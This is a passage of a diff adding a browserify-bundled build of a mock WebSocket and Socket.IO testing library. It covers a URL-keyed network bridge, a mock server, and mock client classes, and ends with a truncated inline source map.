WebSocket = _websocket2['default']; +exports.WebSocket = WebSocket; +var SocketIO = _socketIo2['default']; +exports.SocketIO = SocketIO; +},{"./server":16,"./socket-io":17,"./websocket":18}],15:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })(); + +function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } } + +var _helpersArrayHelpers = require('./helpers/array-helpers'); + +/* +* The network bridge is a way for the mock websocket object to 'communicate' with +* all avalible servers. This is a singleton object so it is important that you +* clean up urlMap whenever you are finished. +*/ + +var NetworkBridge = (function () { + function NetworkBridge() { + _classCallCheck(this, NetworkBridge); + + this.urlMap = {}; + } + + /* + * Attaches a websocket object to the urlMap hash so that it can find the server + * it is connected to and the server in turn can find it. + * + * @param {object} websocket - websocket object to add to the urlMap hash + * @param {string} url + */ + + _createClass(NetworkBridge, [{ + key: 'attachWebSocket', + value: function attachWebSocket(websocket, url) { + var connectionLookup = this.urlMap[url]; + + if (connectionLookup && connectionLookup.server && connectionLookup.websockets.indexOf(websocket) === -1) { + connectionLookup.websockets.push(websocket); + return connectionLookup.server; + } + } + + /* + * Attaches a websocket to a room + */ + }, { + key: 'addMembershipToRoom', + value: function addMembershipToRoom(websocket, room) { + var connectionLookup = this.urlMap[websocket.url]; + + if (connectionLookup && connectionLookup.server && connectionLookup.websockets.indexOf(websocket) !== -1) { + if (!connectionLookup.roomMemberships[room]) { + connectionLookup.roomMemberships[room] = []; + } + + connectionLookup.roomMemberships[room].push(websocket); + } + } + + /* + * Attaches a server object to the urlMap hash so that it can find a websockets + * which are connected to it and so that websockets can in turn can find it. + * + * @param {object} server - server object to add to the urlMap hash + * @param {string} url + */ + }, { + key: 'attachServer', + value: function attachServer(server, url) { + var connectionLookup = this.urlMap[url]; + + if (!connectionLookup) { + this.urlMap[url] = { + server: server, + websockets: [], + roomMemberships: {} + }; + + return server; + } + } + + /* + * Finds the server which is 'running' on the given url. + * + * @param {string} url - the url to use to find which server is running on it + */ + }, { + key: 'serverLookup', + value: function serverLookup(url) { + var connectionLookup = this.urlMap[url]; + + if (connectionLookup) { + return connectionLookup.server; + } + } + + /* + * Finds all websockets which is 'listening' on the given url. + * + * @param {string} url - the url to use to find all websockets which are associated with it + * @param {string} room - if a room is provided, will only return sockets in this room + */ + }, { + key: 'websocketsLookup', + value: function websocketsLookup(url, room) { + var connectionLookup = this.urlMap[url]; + + if (!connectionLookup) { + return []; + } + + if (room) { + var members = connectionLookup.roomMemberships[room]; + return members ? members : []; + } + + return connectionLookup.websockets; + } + + /* + * Removes the entry associated with the url. + * + * @param {string} url + */ + }, { + key: 'removeServer', + value: function removeServer(url) { + delete this.urlMap[url]; + } + + /* + * Removes the individual websocket from the map of associated websockets. + * + * @param {object} websocket - websocket object to remove from the url map + * @param {string} url + */ + }, { + key: 'removeWebSocket', + value: function removeWebSocket(websocket, url) { + var connectionLookup = this.urlMap[url]; + + if (connectionLookup) { + connectionLookup.websockets = (0, _helpersArrayHelpers.reject)(connectionLookup.websockets, function (socket) { + return socket === websocket; + }); + } + } + + /* + * Removes a websocket from a room + */ + }, { + key: 'removeMembershipFromRoom', + value: function removeMembershipFromRoom(websocket, room) { + var connectionLookup = this.urlMap[websocket.url]; + var memberships = connectionLookup.roomMemberships[room]; + + if (connectionLookup && memberships !== null) { + connectionLookup.roomMemberships[room] = (0, _helpersArrayHelpers.reject)(memberships, function (socket) { + return socket === websocket; + }); + } + } + }]); + + return NetworkBridge; +})(); + +exports['default'] = new NetworkBridge(); +// Note: this is a singleton +module.exports = exports['default']; +},{"./helpers/array-helpers":7}],16:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })(); + +var _get = function get(_x4, _x5, _x6) { var _again = true; _function: while (_again) { var object = _x4, property = _x5, receiver = _x6; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x4 = parent; _x5 = property; _x6 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } }; + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } + +function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } } + +function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } + +var _urijs = require('urijs'); + +var _urijs2 = _interopRequireDefault(_urijs); + +var _websocket = require('./websocket'); + +var _websocket2 = _interopRequireDefault(_websocket); + +var _eventTarget = require('./event-target'); + +var _eventTarget2 = _interopRequireDefault(_eventTarget); + +var _networkBridge = require('./network-bridge'); + +var _networkBridge2 = _interopRequireDefault(_networkBridge); + +var _helpersCloseCodes = require('./helpers/close-codes'); + +var _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes); + +var _eventFactory = require('./event-factory'); + +/* +* https://github.com/websockets/ws#server-example +*/ + +var Server = (function (_EventTarget) { + _inherits(Server, _EventTarget); + + /* + * @param {string} url + */ + + function Server(url) { + _classCallCheck(this, Server); + + _get(Object.getPrototypeOf(Server.prototype), 'constructor', this).call(this); + this.url = (0, _urijs2['default'])(url).toString(); + var server = _networkBridge2['default'].attachServer(this, this.url); + + if (!server) { + this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error' })); + throw new Error('A mock server is already listening on this url'); + } + } + + /* + * Alternative constructor to support namespaces in socket.io + * + * http://socket.io/docs/rooms-and-namespaces/#custom-namespaces + */ + + /* + * This is the main function for the mock server to subscribe to the on events. + * + * ie: mockServer.on('connection', function() { console.log('a mock client connected'); }); + * + * @param {string} type - The event key to subscribe to. Valid keys are: connection, message, and close. + * @param {function} callback - The callback which should be called when a certain event is fired. + */ + + _createClass(Server, [{ + key: 'on', + value: function on(type, callback) { + this.addEventListener(type, callback); + } + + /* + * This send function will notify all mock clients via their onmessage callbacks that the server + * has a message for them. + * + * @param {*} data - Any javascript object which will be crafted into a MessageObject. + */ + }, { + key: 'send', + value: function send(data) { + var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1]; + + this.emit('message', data, options); + } + + /* + * Sends a generic message event to all mock clients. + */ + }, { + key: 'emit', + value: function emit(event, data) { + var _this2 = this; + + var options = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2]; + var websockets = options.websockets; + + if (!websockets) { + websockets = _networkBridge2['default'].websocketsLookup(this.url); + } + + websockets.forEach(function (socket) { + socket.dispatchEvent((0, _eventFactory.createMessageEvent)({ + type: event, + data: data, + origin: _this2.url, + target: socket + })); + }); + } + + /* + * Closes the connection and triggers the onclose method of all listening + * websockets. After that it removes itself from the urlMap so another server + * could add itself to the url. + * + * @param {object} options + */ + }, { + key: 'close', + value: function close() { + var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0]; + var code = options.code; + var reason = options.reason; + var wasClean = options.wasClean; + + var listeners = _networkBridge2['default'].websocketsLookup(this.url); + + listeners.forEach(function (socket) { + socket.readyState = _websocket2['default'].CLOSE; + socket.dispatchEvent((0, _eventFactory.createCloseEvent)({ + type: 'close', + target: socket, + code: code || _helpersCloseCodes2['default'].CLOSE_NORMAL, + reason: reason || '', + wasClean: wasClean + })); + }); + + this.dispatchEvent((0, _eventFactory.createCloseEvent)({ type: 'close' }), this); + _networkBridge2['default'].removeServer(this.url); + } + + /* + * Returns an array of websockets which are listening to this server + */ + }, { + key: 'clients', + value: function clients() { + return _networkBridge2['default'].websocketsLookup(this.url); + } + + /* + * Prepares a method to submit an event to members of the room + * + * e.g. server.to('my-room').emit('hi!'); + */ + }, { + key: 'to', + value: function to(room) { + var _this = this; + var websockets = _networkBridge2['default'].websocketsLookup(this.url, room); + return { + emit: function emit(event, data) { + _this.emit(event, data, { websockets: websockets }); + } + }; + } + }]); + + return Server; +})(_eventTarget2['default']); + +Server.of = function of(url) { + return new Server(url); +}; + +exports['default'] = Server; +module.exports = exports['default']; +},{"./event-factory":5,"./event-target":6,"./helpers/close-codes":8,"./network-bridge":15,"./websocket":18,"urijs":3}],17:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })(); + +var _get = function get(_x3, _x4, _x5) { var _again = true; _function: while (_again) { var object = _x3, property = _x4, receiver = _x5; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x3 = parent; _x4 = property; _x5 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } }; + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } + +function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } } + +function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } + +var _urijs = require('urijs'); + +var _urijs2 = _interopRequireDefault(_urijs); + +var _helpersDelay = require('./helpers/delay'); + +var _helpersDelay2 = _interopRequireDefault(_helpersDelay); + +var _eventTarget = require('./event-target'); + +var _eventTarget2 = _interopRequireDefault(_eventTarget); + +var _networkBridge = require('./network-bridge'); + +var _networkBridge2 = _interopRequireDefault(_networkBridge); + +var _helpersCloseCodes = require('./helpers/close-codes'); + +var _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes); + +var _eventFactory = require('./event-factory'); + +/* +* The socket-io class is designed to mimick the real API as closely as possible. +* +* http://socket.io/docs/ +*/ + +var SocketIO = (function (_EventTarget) { + _inherits(SocketIO, _EventTarget); + + /* + * @param {string} url + */ + + function SocketIO() { + var _this = this; + + var url = arguments.length <= 0 || arguments[0] === undefined ? 'socket.io' : arguments[0]; + var protocol = arguments.length <= 1 || arguments[1] === undefined ? '' : arguments[1]; + + _classCallCheck(this, SocketIO); + + _get(Object.getPrototypeOf(SocketIO.prototype), 'constructor', this).call(this); + + this.binaryType = 'blob'; + this.url = (0, _urijs2['default'])(url).toString(); + this.readyState = SocketIO.CONNECTING; + this.protocol = ''; + + if (typeof protocol === 'string') { + this.protocol = protocol; + } else if (Array.isArray(protocol) && protocol.length > 0) { + this.protocol = protocol[0]; + } + + var server = _networkBridge2['default'].attachWebSocket(this, this.url); + + /* + * Delay triggering the connection events so they can be defined in time. + */ + (0, _helpersDelay2['default'])(function delayCallback() { + if (server) { + this.readyState = SocketIO.OPEN; + server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connection' }), server, this); + server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connect' }), server, this); // alias + this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connect', target: this })); + } else { + this.readyState = SocketIO.CLOSED; + this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error', target: this })); + this.dispatchEvent((0, _eventFactory.createCloseEvent)({ + type: 'close', + target: this, + code: _helpersCloseCodes2['default'].CLOSE_NORMAL + })); + + console.error('Socket.io connection to \'' + this.url + '\' failed'); + } + }, this); + + /** + Add an aliased event listener for close / disconnect + */ + this.addEventListener('close', function (event) { + _this.dispatchEvent((0, _eventFactory.createCloseEvent)({ + type: 'disconnect', + target: event.target, + code: event.code + })); + }); + } + + /* + * Closes the SocketIO connection or connection attempt, if any. + * If the connection is already CLOSED, this method does nothing. + */ + + _createClass(SocketIO, [{ + key: 'close', + value: function close() { + if (this.readyState !== SocketIO.OPEN) { + return undefined; + } + + var server = _networkBridge2['default'].serverLookup(this.url); + _networkBridge2['default'].removeWebSocket(this, this.url); + + this.readyState = SocketIO.CLOSED; + this.dispatchEvent((0, _eventFactory.createCloseEvent)({ + type: 'close', + target: this, + code: _helpersCloseCodes2['default'].CLOSE_NORMAL + })); + + if (server) { + server.dispatchEvent((0, _eventFactory.createCloseEvent)({ + type: 'disconnect', + target: this, + code: _helpersCloseCodes2['default'].CLOSE_NORMAL + }), server); + } + } + + /* + * Alias for Socket#close + * + * https://github.com/socketio/socket.io-client/blob/master/lib/socket.js#L383 + */ + }, { + key: 'disconnect', + value: function disconnect() { + this.close(); + } + + /* + * Submits an event to the server with a payload + */ + }, { + key: 'emit', + value: function emit(event, data) { + if (this.readyState !== SocketIO.OPEN) { + throw new Error('SocketIO is already in CLOSING or CLOSED state'); + } + + var messageEvent = (0, _eventFactory.createMessageEvent)({ + type: event, + origin: this.url, + data: data + }); + + var server = _networkBridge2['default'].serverLookup(this.url); + + if (server) { + server.dispatchEvent(messageEvent, data); + } + } + + /* + * Submits a 'message' event to the server. + * + * Should behave exactly like WebSocket#send + * + * https://github.com/socketio/socket.io-client/blob/master/lib/socket.js#L113 + */ + }, { + key: 'send', + value: function send(data) { + this.emit('message', data); + } + + /* + * For registering events to be received from the server + */ + }, { + key: 'on', + value: function on(type, callback) { + this.addEventListener(type, callback); + } + + /* + * Join a room on a server + * + * http://socket.io/docs/rooms-and-namespaces/#joining-and-leaving + */ + }, { + key: 'join', + value: function join(room) { + _networkBridge2['default'].addMembershipToRoom(this, room); + } + + /* + * Get the websocket to leave the room + * + * http://socket.io/docs/rooms-and-namespaces/#joining-and-leaving + */ + }, { + key: 'leave', + value: function leave(room) { + _networkBridge2['default'].removeMembershipFromRoom(this, room); + } + + /* + * Invokes all listener functions that are listening to the given event.type property. Each + * listener will be passed the event as the first argument. + * + * @param {object} event - event object which will be passed to all listeners of the event.type property + */ + }, { + key: 'dispatchEvent', + value: function dispatchEvent(event) { + var _this2 = this; + + for (var _len = arguments.length, customArguments = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { + customArguments[_key - 1] = arguments[_key]; + } + + var eventName = event.type; + var listeners = this.listeners[eventName]; + + if (!Array.isArray(listeners)) { + return false; + } + + listeners.forEach(function (listener) { + if (customArguments.length > 0) { + listener.apply(_this2, customArguments); + } else { + // Regular WebSockets expect a MessageEvent but Socketio.io just wants raw data + // payload instanceof MessageEvent works, but you can't isntance of NodeEvent + // for now we detect if the output has data defined on it + listener.call(_this2, event.data ? event.data : event); + } + }); + } + }]); + + return SocketIO; +})(_eventTarget2['default']); + +SocketIO.CONNECTING = 0; +SocketIO.OPEN = 1; +SocketIO.CLOSING = 2; +SocketIO.CLOSED = 3; + +/* +* Static constructor methods for the IO Socket +*/ +var IO = function ioConstructor(url) { + return new SocketIO(url); +}; + +/* +* Alias the raw IO() constructor +*/ +IO.connect = function ioConnect(url) { + /* eslint-disable new-cap */ + return IO(url); + /* eslint-enable new-cap */ +}; + +exports['default'] = IO; +module.exports = exports['default']; +},{"./event-factory":5,"./event-target":6,"./helpers/close-codes":8,"./helpers/delay":10,"./network-bridge":15,"urijs":3}],18:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })(); + +var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } }; + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } + +function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } } + +function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } + +var _urijs = require('urijs'); + +var _urijs2 = _interopRequireDefault(_urijs); + +var _helpersDelay = require('./helpers/delay'); + +var _helpersDelay2 = _interopRequireDefault(_helpersDelay); + +var _eventTarget = require('./event-target'); + +var _eventTarget2 = _interopRequireDefault(_eventTarget); + +var _networkBridge = require('./network-bridge'); + +var _networkBridge2 = _interopRequireDefault(_networkBridge); + +var _helpersCloseCodes = require('./helpers/close-codes'); + +var _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes); + +var _eventFactory = require('./event-factory'); + +/* +* The main websocket class which is designed to mimick the native WebSocket class as close +* as possible. +* +* https://developer.mozilla.org/en-US/docs/Web/API/WebSocket +*/ + +var WebSocket = (function (_EventTarget) { + _inherits(WebSocket, _EventTarget); + + /* + * @param {string} url + */ + + function WebSocket(url) { + var protocol = arguments.length <= 1 || arguments[1] === undefined ? '' : arguments[1]; + + _classCallCheck(this, WebSocket); + + _get(Object.getPrototypeOf(WebSocket.prototype), 'constructor', this).call(this); + + if (!url) { + throw new TypeError('Failed to construct \'WebSocket\': 1 argument required, but only 0 present.'); + } + + this.binaryType = 'blob'; + this.url = (0, _urijs2['default'])(url).toString(); + this.readyState = WebSocket.CONNECTING; + this.protocol = ''; + + if (typeof protocol === 'string') { + this.protocol = protocol; + } else if (Array.isArray(protocol) && protocol.length > 0) { + this.protocol = protocol[0]; + } + + /* + * In order to capture the callback function we need to define custom setters. + * To illustrate: + * mySocket.onopen = function() { alert(true) }; + * + * The only way to capture that function and hold onto it for later is with the + * below code: + */ + Object.defineProperties(this, { + onopen: { + configurable: true, + enumerable: true, + get: function get() { + return this.listeners.open; + }, + set: function set(listener) { + this.addEventListener('open', listener); + } + }, + onmessage: { + configurable: true, + enumerable: true, + get: function get() { + return this.listeners.message; + }, + set: function set(listener) { + this.addEventListener('message', listener); + } + }, + onclose: { + configurable: true, + enumerable: true, + get: function get() { + return this.listeners.close; + }, + set: function set(listener) { + this.addEventListener('close', listener); + } + }, + onerror: { + configurable: true, + enumerable: true, + get: function get() { + return this.listeners.error; + }, + set: function set(listener) { + this.addEventListener('error', listener); + } + } + }); + + var server = _networkBridge2['default'].attachWebSocket(this, this.url); + + /* + * This delay is needed so that we dont trigger an event before the callbacks have been + * setup. For example: + * + * var socket = new WebSocket('ws://localhost'); + * + * // If we dont have the delay then the event would be triggered right here and this is + * // before the onopen had a chance to register itself. + * + * socket.onopen = () => { // this would never be called }; + * + * // and with the delay the event gets triggered here after all of the callbacks have been + * // registered :-) + */ + (0, _helpersDelay2['default'])(function delayCallback() { + if (server) { + this.readyState = WebSocket.OPEN; + server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connection' }), server, this); + this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'open', target: this })); + } else { + this.readyState = WebSocket.CLOSED; + this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error', target: this })); + this.dispatchEvent((0, _eventFactory.createCloseEvent)({ type: 'close', target: this, code: _helpersCloseCodes2['default'].CLOSE_NORMAL })); + + console.error('WebSocket connection to \'' + this.url + '\' failed'); + } + }, this); + } + + /* + * Transmits data to the server over the WebSocket connection. + * + * https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#send() + */ + + _createClass(WebSocket, [{ + key: 'send', + value: function send(data) { + if (this.readyState === WebSocket.CLOSING || this.readyState === WebSocket.CLOSED) { + throw new Error('WebSocket is already in CLOSING or CLOSED state'); + } + + var messageEvent = (0, _eventFactory.createMessageEvent)({ + type: 'message', + origin: this.url, + data: data + }); + + var server = _networkBridge2['default'].serverLookup(this.url); + + if (server) { + server.dispatchEvent(messageEvent, data); + } + } + + /* + * Closes the WebSocket connection or connection attempt, if any. + * If the connection is already CLOSED, this method does nothing. + * + * https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#close() + */ + }, { + key: 'close', + value: function close() { + if (this.readyState !== WebSocket.OPEN) { + return undefined; + } + + var server = _networkBridge2['default'].serverLookup(this.url); + var closeEvent = (0, _eventFactory.createCloseEvent)({ + type: 'close', + target: this, + code: _helpersCloseCodes2['default'].CLOSE_NORMAL + }); + + _networkBridge2['default'].removeWebSocket(this, this.url); + + this.readyState = WebSocket.CLOSED; + this.dispatchEvent(closeEvent); + + if (server) { + server.dispatchEvent(closeEvent, server); + } + } + }]); + + return WebSocket; +})(_eventTarget2['default']); + +WebSocket.CONNECTING = 0; +WebSocket.OPEN = 1; +WebSocket.CLOSING = 2; +WebSocket.CLOSED = 3; + +exports['default'] = WebSocket; +module.exports = exports['default']; +},{"./event-factory":5,"./event-target":6,"./helpers/close-codes":8,"./helpers/delay":10,"./network-bridge":15,"urijs":3}]},{},[14]) +//# sourceMappingURL=data:application/json;charset:utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi4uLy4uL25vZGVfbW9kdWxlcy9icm93c2VyLXBhY2svX3ByZWx1ZGUuanMiLCIuLi8uLi9ub2RlX21vZHVsZXMvdXJpanMvc3JjL0lQdjYuanMiLCIuLi8uLi9ub2RlX21vZHVsZXMvdXJpanMvc3JjL1NlY29uZExldmVsRG9tYWlucy5qcyIsIi4uLy4uL25vZGVfbW9kdWxlcy91cmlqcy9zcmMvVVJJLmpzIiwiLi4vLi4vbm9kZV9tb2R1bGVzL3VyaWpzL3NyYy9wdW55Y29kZS5qcyIsImV2ZW50LWZhY3RvcnkuanMiLCJldmVudC10YXJnZXQuanMiLCJoZWxwZXJzL2FycmF5LWhlbHBlcnMuanMiLCJoZWxwZXJzL2Nsb3NlLWNvZGVzLmpzIiwiaGVscGVycy9jbG9zZS1ldmVudC5qcyIsImhlbHBlcnMvZGVsYXkuanMiLCJoZWxwZXJzL2V2ZW50LXByb3RvdHlwZS5qcyIsImhlbHBlcnMvZXZlbnQuanMiLCJoZWxwZXJzL21lc3NhZ2UtZXZlbnQuanMiLCJtYWluLmpzIiwibmV0d29yay1icmlkZ2UuanMiLCJzZXJ2ZXIuanMiLCJzb2NrZXQtaW8uanMiLCJ3ZWJzb2NrZXQuanMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7QUNBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7O0FDNUxBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUF